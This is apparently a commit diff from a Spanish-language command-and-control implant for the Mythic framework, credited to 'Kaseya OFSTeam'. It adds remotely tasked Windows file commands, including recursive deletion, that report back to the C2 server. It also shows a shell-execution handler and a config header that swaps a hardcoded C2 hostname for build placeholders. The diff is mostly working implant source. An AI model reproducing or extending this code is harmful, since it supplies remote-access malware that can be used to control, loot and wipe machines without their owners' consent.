v0.6 Comandos del sistema de ficheros de Windows
This commit is contained in:
@@ -27,7 +27,6 @@ VOID liberarAnalizador(PAnalizador analizador) {
|
|||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
BYTE getByte(PAnalizador analizador) {
|
BYTE getByte(PAnalizador analizador) {
|
||||||
|
|
||||||
BYTE intByte = 0;
|
BYTE intByte = 0;
|
||||||
|
|||||||
@@ -1,13 +1,13 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#define initUUID "41c8ef02-b046-4664-97f4-93bfb20335b4"
|
#define initUUID "%UUID%"
|
||||||
#define hostname L"datto-api-hyfmh8fhgkhwg6f6.a01.azurefd.net"
|
#define hostname L"%HOSTNAME%"
|
||||||
#define endpoint L"data"
|
#define endpoint L"%ENDPOINT%"
|
||||||
#define ssl TRUE
|
#define ssl %SSL%
|
||||||
#define proxyenabled FALSE
|
#define proxyenabled %PROXYENABLED%
|
||||||
#define proxyurl L""
|
#define proxyurl L"%PROXYURL%"
|
||||||
|
|
||||||
#define useragent L""
|
#define useragent L"%USERAGENT%"
|
||||||
#define httpmethod L"POST"
|
#define httpmethod L"POST"
|
||||||
#define port 443
|
#define port %PORT%
|
||||||
|
|
||||||
#define sleep_time 10
|
#define sleep_time %SLEEPTIME%
|
||||||
@@ -0,0 +1,433 @@
|
|||||||
|
#include "SistemadeFicheros.h"
|
||||||
|
#include "paquete.h"
|
||||||
|
|
||||||
|
#define _CRT_SECURE_NO_WARNINGS
|
||||||
|
#pragma warning(disable : 4996)
|
||||||
|
|
||||||
|
VOID CambiarDirectorio(PAnalizador argumentos) {
|
||||||
|
SIZE_T tamanoUuid = 36;
|
||||||
|
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||||
|
UINT32 nbArg = getInt32(argumentos);
|
||||||
|
|
||||||
|
_dbg("\t tenemos %d argumentos", nbArg);
|
||||||
|
if (nbArg == 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
SIZE_T tamano = 0;
|
||||||
|
PCHAR pathIntroducido = getString(argumentos, &tamano);
|
||||||
|
|
||||||
|
_dbg("Usando el path %s", pathIntroducido);
|
||||||
|
|
||||||
|
// Normalizar el path
|
||||||
|
char pathNormalizado[2048];
|
||||||
|
int j = 0;
|
||||||
|
|
||||||
|
for (int i = 0; i < tamano; i++) {
|
||||||
|
if (pathIntroducido[i] == '\\') {
|
||||||
|
// Si encontramos una barra invertida, aseguramos que se copie dos veces
|
||||||
|
pathNormalizado[j++] = '\\';
|
||||||
|
}
|
||||||
|
pathNormalizado[j++] = pathIntroducido[i];
|
||||||
|
}
|
||||||
|
|
||||||
|
// Asegurar que el path esté terminado en null
|
||||||
|
pathNormalizado[j] = '\0';
|
||||||
|
|
||||||
|
// Convertir el path a minúsculas para evitar problemas con mayúsculas/minúsculas
|
||||||
|
for (int i = 0; i < j; i++) {
|
||||||
|
pathNormalizado[i] = tolower(pathNormalizado[i]);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Intentar cambiar el directorio
|
||||||
|
if (!SetCurrentDirectoryA(pathNormalizado)) {
|
||||||
|
DWORD error = GetLastError();
|
||||||
|
_err("no se puede cambiar a ese directorio %s : ERROR CODE %d", pathNormalizado, error);
|
||||||
|
//PackageError(tareaUuid, error);
|
||||||
|
goto end;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Obtener el directorio actual
|
||||||
|
char dir[2048];
|
||||||
|
int length = GetCurrentDirectoryA(sizeof(dir), dir);
|
||||||
|
|
||||||
|
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||||
|
|
||||||
|
// success
|
||||||
|
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaTarea, tareaUuid, FALSE);
|
||||||
|
|
||||||
|
addString(salida, dir, FALSE);
|
||||||
|
|
||||||
|
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||||
|
mandarPaquete(respuestaTarea);
|
||||||
|
liberarPaquete(salida);
|
||||||
|
liberarPaquete(respuestaTarea);
|
||||||
|
|
||||||
|
end:
|
||||||
|
LocalFree(pathIntroducido);
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID ListarDirectorio(PAnalizador argumentos){
|
||||||
|
|
||||||
|
#define MAX_FILENAME 0x4000
|
||||||
|
SIZE_T tamanoUuid = 36;
|
||||||
|
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||||
|
UINT32 nbArg = getInt32(argumentos);
|
||||||
|
|
||||||
|
_dbg("\t tenemos %d argumentos", nbArg);
|
||||||
|
if (nbArg == 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
UINT32 tamanoPath = NULL;
|
||||||
|
SIZE_T tamano = 0;
|
||||||
|
char nombreFichero[MAX_FILENAME];
|
||||||
|
PCHAR fichero = getString(argumentos, &tamano);
|
||||||
|
|
||||||
|
strcpy(nombreFichero, fichero);
|
||||||
|
|
||||||
|
_dbg("Filename: %s", nombreFichero);
|
||||||
|
|
||||||
|
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||||
|
|
||||||
|
#define SOURCE_DIRECTORY "\\*"
|
||||||
|
|
||||||
|
if (!strncmp(nombreFichero, "." SOURCE_DIRECTORY, MAX_FILENAME)){
|
||||||
|
GetCurrentDirectoryA(MAX_FILENAME, nombreFichero);
|
||||||
|
strncat_s(nombreFichero, MAX_FILENAME, SOURCE_DIRECTORY, strlen(SOURCE_DIRECTORY));
|
||||||
|
}else{
|
||||||
|
|
||||||
|
tamanoPath = strlen(nombreFichero);
|
||||||
|
if (nombreFichero[tamanoPath - 1] != 0x5c) {
|
||||||
|
nombreFichero[tamanoPath++] = 0x5c;
|
||||||
|
}
|
||||||
|
nombreFichero[tamanoPath++] = 0x2a;
|
||||||
|
nombreFichero[tamanoPath] = 0x00;
|
||||||
|
}
|
||||||
|
|
||||||
|
_dbg("[ls] %s", nombreFichero);
|
||||||
|
|
||||||
|
PackageAddFormatPrintf(salida, FALSE, "%s\n", nombreFichero);
|
||||||
|
WIN32_FIND_DATAA datosEncontrados;
|
||||||
|
HANDLE primerFichero = FindFirstFileA(nombreFichero, &datosEncontrados);
|
||||||
|
|
||||||
|
if (primerFichero == INVALID_HANDLE_VALUE){
|
||||||
|
DWORD error = GetLastError();
|
||||||
|
_err("Could not open %s : ERROR CODE %d", nombreFichero, error);
|
||||||
|
//PackageError(tareaUuid, error);
|
||||||
|
goto end;
|
||||||
|
}
|
||||||
|
|
||||||
|
SYSTEMTIME systemTime, localTime;
|
||||||
|
do{
|
||||||
|
|
||||||
|
FileTimeToSystemTime(&datosEncontrados.ftLastWriteTime, &systemTime);
|
||||||
|
SystemTimeToTzSpecificLocalTime(NULL, &systemTime, &localTime);
|
||||||
|
|
||||||
|
if (datosEncontrados.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY){
|
||||||
|
|
||||||
|
PackageAddFormatPrintf(salida, FALSE, "D\t0\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n",
|
||||||
|
localTime.wMonth, localTime.wDay, localTime.wYear,
|
||||||
|
localTime.wHour, localTime.wMinute, localTime.wSecond,
|
||||||
|
datosEncontrados.cFileName);
|
||||||
|
}else{
|
||||||
|
PackageAddFormatPrintf(salida, FALSE, "F\t%I64d\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n",
|
||||||
|
((ULONGLONG)datosEncontrados.nFileSizeHigh << 32) | datosEncontrados.nFileSizeLow,
|
||||||
|
localTime.wMonth, localTime.wDay, localTime.wYear,
|
||||||
|
localTime.wHour, localTime.wMinute, localTime.wSecond,
|
||||||
|
datosEncontrados.cFileName);
|
||||||
|
}
|
||||||
|
} while (FindNextFileA(primerFichero, &datosEncontrados));
|
||||||
|
|
||||||
|
FindClose(primerFichero);
|
||||||
|
|
||||||
|
|
||||||
|
// success
|
||||||
|
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaTarea, tareaUuid, FALSE);
|
||||||
|
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||||
|
mandarPaquete(respuestaTarea);
|
||||||
|
|
||||||
|
end:
|
||||||
|
// Cleanup
|
||||||
|
LocalFree(fichero);
|
||||||
|
liberarPaquete(salida);
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL ObtenerPath(PAnalizador argumentos) {
|
||||||
|
|
||||||
|
SIZE_T tamanoUuid = 36;
|
||||||
|
UINT32 nbArg = getInt32(argumentos);
|
||||||
|
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||||
|
|
||||||
|
char dir[2048];
|
||||||
|
int length = GetCurrentDirectoryA(sizeof(dir), dir);
|
||||||
|
|
||||||
|
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||||
|
|
||||||
|
if (length == 0) {
|
||||||
|
DWORD error = GetLastError();
|
||||||
|
|
||||||
|
_err("[pwd] Error obteniendo directorio actual. Código: %lu\n", error);
|
||||||
|
|
||||||
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
|
||||||
|
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaError, FALSE, "[pwd] Error: %lu\n", error);
|
||||||
|
|
||||||
|
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||||
|
|
||||||
|
_err("[pwd] Enviando paquete de error. Longitud: %d bytes\n", salidaError->length);
|
||||||
|
_err("[pwd] Contenido error: %s\n", salidaError->buffer);
|
||||||
|
|
||||||
|
mandarPaquete(respuestaError);
|
||||||
|
|
||||||
|
liberarPaquete(salidaError);
|
||||||
|
liberarPaquete(respuestaError);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
_dbg("[pwd] Directorio actual: %s\n", dir);
|
||||||
|
|
||||||
|
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
|
||||||
|
addString(respuestaTarea, tareaUuid, FALSE);
|
||||||
|
addString(salida, dir, FALSE);
|
||||||
|
|
||||||
|
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||||
|
|
||||||
|
mandarPaquete(respuestaTarea);
|
||||||
|
liberarPaquete(salida);
|
||||||
|
liberarPaquete(respuestaTarea);
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CopiarFichero(PAnalizador argumentos) {
|
||||||
|
SIZE_T tamanoUuid = 36;
|
||||||
|
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||||
|
UINT32 nbArg = getInt32(argumentos);
|
||||||
|
|
||||||
|
_dbg("\t tenemos %d argumentos", nbArg);
|
||||||
|
if (nbArg == 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
SIZE_T tamano = 0;
|
||||||
|
SIZE_T tamano2 = 0;
|
||||||
|
PCHAR ficheroExistente = getString(argumentos, &tamano);
|
||||||
|
PCHAR nuevoFichero = getString(argumentos, &tamano2);
|
||||||
|
|
||||||
|
_dbg("Copying file \"%s\" to \"%s\"", ficheroExistente, nuevoFichero);
|
||||||
|
|
||||||
|
// Copy the file
|
||||||
|
if (!CopyFileA(ficheroExistente, nuevoFichero, FALSE)){
|
||||||
|
|
||||||
|
DWORD error = GetLastError();
|
||||||
|
|
||||||
|
_err("[cp] No se ha podido copiar. Código: %lu\n", error);
|
||||||
|
|
||||||
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
|
||||||
|
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaError, FALSE, "[cp] Error: %lu\n", error);
|
||||||
|
|
||||||
|
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||||
|
|
||||||
|
_err("[cp] Enviando paquete de error. Longitud: %d bytes\n", salidaError->length);
|
||||||
|
_err("[cp] Contenido error: %s\n", salidaError->buffer);
|
||||||
|
|
||||||
|
mandarPaquete(respuestaError);
|
||||||
|
|
||||||
|
liberarPaquete(salidaError);
|
||||||
|
liberarPaquete(respuestaError);
|
||||||
|
goto end;
|
||||||
|
}
|
||||||
|
|
||||||
|
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||||
|
|
||||||
|
|
||||||
|
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
|
||||||
|
char frase2[512]; // Asume que el path no va a pasar de 512 caracteres
|
||||||
|
snprintf(frase2, sizeof(frase2), "[cp] Fichero copiado correctamente a: %s", nuevoFichero);
|
||||||
|
addString(salida, frase2, FALSE);
|
||||||
|
|
||||||
|
addString(respuestaTarea, tareaUuid, FALSE);
|
||||||
|
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||||
|
|
||||||
|
mandarPaquete(respuestaTarea);
|
||||||
|
liberarPaquete(salida);
|
||||||
|
liberarPaquete(respuestaTarea);
|
||||||
|
|
||||||
|
end:
|
||||||
|
// Cleanup
|
||||||
|
LocalFree(nuevoFichero);
|
||||||
|
LocalFree(ficheroExistente);
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CrearRuta(PAnalizador argumentos){
|
||||||
|
|
||||||
|
SIZE_T tamanoUuid = 36;
|
||||||
|
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||||
|
UINT32 nbArg = getInt32(argumentos);
|
||||||
|
|
||||||
|
SIZE_T tamano = 0;
|
||||||
|
PCHAR directorio = getString(argumentos, &tamano);
|
||||||
|
|
||||||
|
_dbg("Creating directory: \"%s\"", directorio);
|
||||||
|
|
||||||
|
if (!CreateDirectoryA(directorio, NULL)){
|
||||||
|
DWORD error = GetLastError();
|
||||||
|
|
||||||
|
_err("[mkdir] No se ha podido crear el directorio. Código: %lu\n", error);
|
||||||
|
|
||||||
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
|
||||||
|
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaError, FALSE, "[mkdir] Error: %lu\n", error);
|
||||||
|
|
||||||
|
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||||
|
|
||||||
|
_err("[mkdir] Enviando paquete de error. Longitud: %d bytes\n", salidaError->length);
|
||||||
|
_err("[mkdir] Contenido error: %s\n", salidaError->buffer);
|
||||||
|
|
||||||
|
mandarPaquete(respuestaError);
|
||||||
|
|
||||||
|
liberarPaquete(salidaError);
|
||||||
|
liberarPaquete(respuestaError);
|
||||||
|
|
||||||
|
goto end;
|
||||||
|
}
|
||||||
|
|
||||||
|
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||||
|
|
||||||
|
|
||||||
|
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
|
||||||
|
char frase2[512]; // Asume que el path no va a pasar de 512 caracteres
|
||||||
|
snprintf(frase2, sizeof(frase2), "[mkdir] Directorio creado con exito: %s", directorio);
|
||||||
|
addString(salida, frase2, FALSE);
|
||||||
|
|
||||||
|
addString(respuestaTarea, tareaUuid, FALSE);
|
||||||
|
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||||
|
|
||||||
|
mandarPaquete(respuestaTarea);
|
||||||
|
liberarPaquete(salida);
|
||||||
|
liberarPaquete(respuestaTarea);
|
||||||
|
|
||||||
|
end:
|
||||||
|
// Cleanup
|
||||||
|
LocalFree(directorio);
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL EsDirectorio(char* nombre){
|
||||||
|
|
||||||
|
return GetFileAttributesA(nombre) & FILE_ATTRIBUTE_DIRECTORY;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID EliminaCallbacksRecursivos(const char* a1, const char* a2, BOOL esDirectorio){
|
||||||
|
|
||||||
|
char* lpNombreRuta = (char*)malloc(0x4000);
|
||||||
|
_snprintf(lpNombreRuta, 0x4000, "%s\\%s", a1, a2);
|
||||||
|
if (esDirectorio)
|
||||||
|
RemoveDirectoryA(lpNombreRuta);
|
||||||
|
else
|
||||||
|
DeleteFileA(lpNombreRuta);
|
||||||
|
free(lpNombreRuta);
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID BuscaYProcesa(char* nombre, WIN32_FIND_DATAA* busqueda){
|
||||||
|
|
||||||
|
#define MAX_FILENAME 0x8000
|
||||||
|
char* lpNombreFichero;
|
||||||
|
|
||||||
|
lpNombreFichero = malloc(MAX_FILENAME);
|
||||||
|
snprintf(lpNombreFichero, MAX_FILENAME, "%s\\*", nombre);
|
||||||
|
LPWIN32_FIND_DATAA lpCurrentFindFileData = busqueda;
|
||||||
|
HANDLE hFindFile = FindFirstFileA(lpNombreFichero, lpCurrentFindFileData);
|
||||||
|
free(lpNombreFichero);
|
||||||
|
|
||||||
|
if (hFindFile == INVALID_HANDLE_VALUE) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
do{
|
||||||
|
if (lpCurrentFindFileData->dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
|
||||||
|
{
|
||||||
|
if (strcmp(lpCurrentFindFileData->cFileName, ".") && strcmp(lpCurrentFindFileData->cFileName, ".."))
|
||||||
|
{
|
||||||
|
char* lpFileNameInternal = malloc(MAX_FILENAME);
|
||||||
|
snprintf(lpFileNameInternal, MAX_FILENAME, "%s", lpCurrentFindFileData->cFileName);
|
||||||
|
|
||||||
|
lpNombreFichero = malloc(MAX_FILENAME);
|
||||||
|
snprintf(lpNombreFichero, MAX_FILENAME, "%s\\%s", nombre, busqueda->cFileName);
|
||||||
|
BuscaYProcesa(lpNombreFichero, busqueda);
|
||||||
|
free(lpNombreFichero);
|
||||||
|
|
||||||
|
EliminaCallbacksRecursivos(nombre, lpFileNameInternal, TRUE);
|
||||||
|
free(lpFileNameInternal);
|
||||||
|
}
|
||||||
|
|
||||||
|
lpCurrentFindFileData = busqueda;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
EliminaCallbacksRecursivos(nombre, lpCurrentFindFileData->cFileName, FALSE);
|
||||||
|
}
|
||||||
|
} while (FindNextFileA(hFindFile, lpCurrentFindFileData));
|
||||||
|
FindClose(hFindFile);
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID BorrarDirectoriosHijos(char* rutaFichero){
|
||||||
|
WIN32_FIND_DATAA busqueda;
|
||||||
|
|
||||||
|
BuscaYProcesa(
|
||||||
|
rutaFichero,
|
||||||
|
&busqueda);
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID EliminarRuta(PAnalizador argumentos){
|
||||||
|
SIZE_T tamanoUuid = 36;
|
||||||
|
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||||
|
UINT32 nbArg = getInt32(argumentos);
|
||||||
|
|
||||||
|
SIZE_T tamano = 0;
|
||||||
|
PCHAR ruta = getString(argumentos, &tamano);
|
||||||
|
|
||||||
|
if (nbArg == 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
if (EsDirectorio(ruta)){
|
||||||
|
|
||||||
|
BorrarDirectoriosHijos(ruta);
|
||||||
|
RemoveDirectoryA(ruta);
|
||||||
|
|
||||||
|
}else{
|
||||||
|
DeleteFileA(ruta);
|
||||||
|
}
|
||||||
|
|
||||||
|
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||||
|
|
||||||
|
|
||||||
|
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
|
||||||
|
char frase2[512]; // Asume que el path no va a pasar de 512 caracteres
|
||||||
|
snprintf(frase2, sizeof(frase2), "[rm] Borrados los ficheros o directorios incluidos sus hijos: %s", ruta);
|
||||||
|
addString(salida, frase2, FALSE);
|
||||||
|
|
||||||
|
addString(respuestaTarea, tareaUuid, FALSE);
|
||||||
|
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||||
|
|
||||||
|
mandarPaquete(respuestaTarea);
|
||||||
|
liberarPaquete(salida);
|
||||||
|
liberarPaquete(respuestaTarea);
|
||||||
|
|
||||||
|
end:;
|
||||||
|
// Cleanup
|
||||||
|
LocalFree(ruta);
|
||||||
|
}
|
||||||
@@ -0,0 +1,20 @@
|
|||||||
|
#pragma once
|
||||||
|
#ifndef FILESYSTEM_H
|
||||||
|
#define FILESYSTEM_H
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
#include "analizador.h"
|
||||||
|
|
||||||
|
VOID CambiarDirectorio(PAnalizador argumentos);
|
||||||
|
|
||||||
|
VOID ListarDirectorio(PAnalizador argumentos);
|
||||||
|
|
||||||
|
BOOL ObtenerPath(PAnalizador argumentos);
|
||||||
|
|
||||||
|
VOID CopiarFichero(PAnalizador argumentos);
|
||||||
|
|
||||||
|
VOID CrearRuta(PAnalizador argumentos);
|
||||||
|
|
||||||
|
VOID EliminarRuta(PAnalizador argumentos);
|
||||||
|
|
||||||
|
#endif //FILESYSTEM_H
|
||||||
@@ -16,18 +16,29 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
|||||||
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
|
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
|
||||||
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
|
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
|
||||||
|
|
||||||
if (tarea == SHELL_CMD)
|
if (tarea == SHELL_CMD){
|
||||||
{
|
|
||||||
ejecutarConsola(analizadorTarea);
|
ejecutarConsola(analizadorTarea);
|
||||||
}
|
}else if (tarea == EXIT_CMD) {
|
||||||
else if (tarea == EXIT_CMD) {
|
|
||||||
cerrarCallback(analizadorTarea);
|
cerrarCallback(analizadorTarea);
|
||||||
}else if(tarea == SLEEP_CMD){
|
}else if(tarea == SLEEP_CMD){
|
||||||
sleep(analizadorTarea);
|
sleep(analizadorTarea);
|
||||||
}else if(tarea == PROCESS_CMD){
|
}else if(tarea == PROCESS_CMD){
|
||||||
listarProcesos(analizadorTarea);
|
listarProcesos(analizadorTarea);
|
||||||
|
}else if (tarea == CD_CMD) {
|
||||||
|
CambiarDirectorio(analizadorTarea);
|
||||||
|
}else if (tarea == LS_CMD) {
|
||||||
|
ListarDirectorio(analizadorTarea);
|
||||||
|
}else if (tarea == PWD_CMD) {
|
||||||
|
ObtenerPath(analizadorTarea);
|
||||||
|
}else if (tarea == CP_CMD) {
|
||||||
|
CopiarFichero(analizadorTarea);
|
||||||
|
}else if (tarea == MKDIR_CMD) {
|
||||||
|
CrearRuta(analizadorTarea);
|
||||||
|
}else if (tarea == RM_CMD) {
|
||||||
|
EliminarRuta(analizadorTarea);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -9,6 +9,7 @@
|
|||||||
#include "cerrarCallback.h"
|
#include "cerrarCallback.h"
|
||||||
#include "sleep.h"
|
#include "sleep.h"
|
||||||
#include "procesos.h"
|
#include "procesos.h"
|
||||||
|
#include "SistemadeFicheros.h"
|
||||||
|
|
||||||
#define SHELL_CMD 0x54
|
#define SHELL_CMD 0x54
|
||||||
#define GET_TASKING 0x00
|
#define GET_TASKING 0x00
|
||||||
@@ -21,6 +22,15 @@
|
|||||||
#define SLEEP_CMD 0x38
|
#define SLEEP_CMD 0x38
|
||||||
#define PROCESS_CMD 0x15
|
#define PROCESS_CMD 0x15
|
||||||
|
|
||||||
|
#define CD_CMD 0x20
|
||||||
|
#define LS_CMD 0x21
|
||||||
|
#define PWD_CMD 0x22
|
||||||
|
#define CP_CMD 0x23
|
||||||
|
#define MKDIR_CMD 0x24
|
||||||
|
#define RM_CMD 0x25
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
BOOL parseChecking(PAnalizador respuestaAnalizador);
|
BOOL parseChecking(PAnalizador respuestaAnalizador);
|
||||||
BOOL rutina();
|
BOOL rutina();
|
||||||
|
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
//#ifdef _DEBUG
|
//#ifdef _DEBUG
|
||||||
//int main()
|
//int main()
|
||||||
//#else
|
//#else
|
||||||
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow)
|
//int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow)
|
||||||
//#endif
|
//#endif
|
||||||
{
|
{
|
||||||
cazallaMain();
|
cazallaMain();
|
||||||
|
|||||||
@@ -0,0 +1,55 @@
|
|||||||
|
from mythic_container.MythicCommandBase import *
|
||||||
|
from mythic_container.MythicRPC import *
|
||||||
|
|
||||||
|
|
||||||
|
class CdArguments(TaskArguments):
|
||||||
|
def __init__(self, command_line, **kwargs):
|
||||||
|
super().__init__(command_line, **kwargs)
|
||||||
|
self.args = [
|
||||||
|
CommandParameter(
|
||||||
|
name="path",
|
||||||
|
type=ParameterType.String,
|
||||||
|
description="Path al que cambiar.",
|
||||||
|
parameter_group_info=[ParameterGroupInfo(
|
||||||
|
required=True
|
||||||
|
)]
|
||||||
|
),
|
||||||
|
]
|
||||||
|
|
||||||
|
async def parse_arguments(self):
|
||||||
|
if len(self.command_line) == 0:
|
||||||
|
raise ValueError("Es necesario agregar un path.")
|
||||||
|
self.add_arg("path", self.command_line)
|
||||||
|
|
||||||
|
async def parse_dictionary(self, dictionary):
|
||||||
|
self.load_args_from_dictionary(dictionary)
|
||||||
|
|
||||||
|
class CdCommand(CommandBase):
|
||||||
|
cmd = "cd"
|
||||||
|
needs_admin = False
|
||||||
|
help_cmd = "cd C:\\directorio\\al\\que\\cambiar"
|
||||||
|
description = "Cambiar directorio de trabajo."
|
||||||
|
version = 1
|
||||||
|
author = "Kaseya OFSTeam"
|
||||||
|
attackmapping = []
|
||||||
|
argument_class = CdArguments
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
builtin=False,
|
||||||
|
supported_os=[ SupportedOS.Windows ],
|
||||||
|
suggested_command=False
|
||||||
|
)
|
||||||
|
|
||||||
|
# async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||||
|
# task.display_params = task.args.get_arg("command")
|
||||||
|
# return task
|
||||||
|
|
||||||
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
|
response = PTTaskCreateTaskingMessageResponse(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Success=True,
|
||||||
|
)
|
||||||
|
return response
|
||||||
|
|
||||||
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
|
return resp
|
||||||
@@ -0,0 +1,56 @@
|
|||||||
|
from mythic_container.MythicCommandBase import *
|
||||||
|
from mythic_container.MythicRPC import *
|
||||||
|
|
||||||
|
class CpArguments(TaskArguments):
|
||||||
|
def __init__(self, command_line, **kwargs):
|
||||||
|
super().__init__(command_line, **kwargs)
|
||||||
|
self.args = [
|
||||||
|
CommandParameter(
|
||||||
|
name="fichero existente",
|
||||||
|
type=ParameterType.String,
|
||||||
|
description="Ruta del fichero a copiar"
|
||||||
|
),
|
||||||
|
CommandParameter(
|
||||||
|
name="fichero nuevo",
|
||||||
|
type=ParameterType.String,
|
||||||
|
description="Ruta del nuevo fichero"
|
||||||
|
)
|
||||||
|
]
|
||||||
|
|
||||||
|
async def parse_arguments(self):
|
||||||
|
if len(self.command_line) == 0:
|
||||||
|
raise ValueError("Este comando necesita parametros")
|
||||||
|
self.add_arg("command", self.command_line)
|
||||||
|
|
||||||
|
async def parse_dictionary(self, dictionary_arguments):
|
||||||
|
self.load_args_from_dictionary(dictionary_arguments)
|
||||||
|
|
||||||
|
class CpCommand(CommandBase):
|
||||||
|
cmd = "cp"
|
||||||
|
needs_admin = False
|
||||||
|
help_cmd = "cp c:\\ruta\\fichero c:\\ruta\\a\\copiar"
|
||||||
|
description = "Copia un fichero a un nuevo destino."
|
||||||
|
version = 1
|
||||||
|
author = "Kaseya OFSTeam"
|
||||||
|
attackmapping = []
|
||||||
|
argument_class = CpArguments
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
builtin=False,
|
||||||
|
supported_os=[ SupportedOS.Windows ],
|
||||||
|
suggested_command=False
|
||||||
|
)
|
||||||
|
|
||||||
|
# async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||||
|
# task.display_params = task.args.get_arg("command")
|
||||||
|
# return task
|
||||||
|
|
||||||
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
|
response = PTTaskCreateTaskingMessageResponse(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Success=True,
|
||||||
|
)
|
||||||
|
return response
|
||||||
|
|
||||||
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
|
return resp
|
||||||
@@ -0,0 +1,101 @@
|
|||||||
|
from mythic_container.MythicCommandBase import *
|
||||||
|
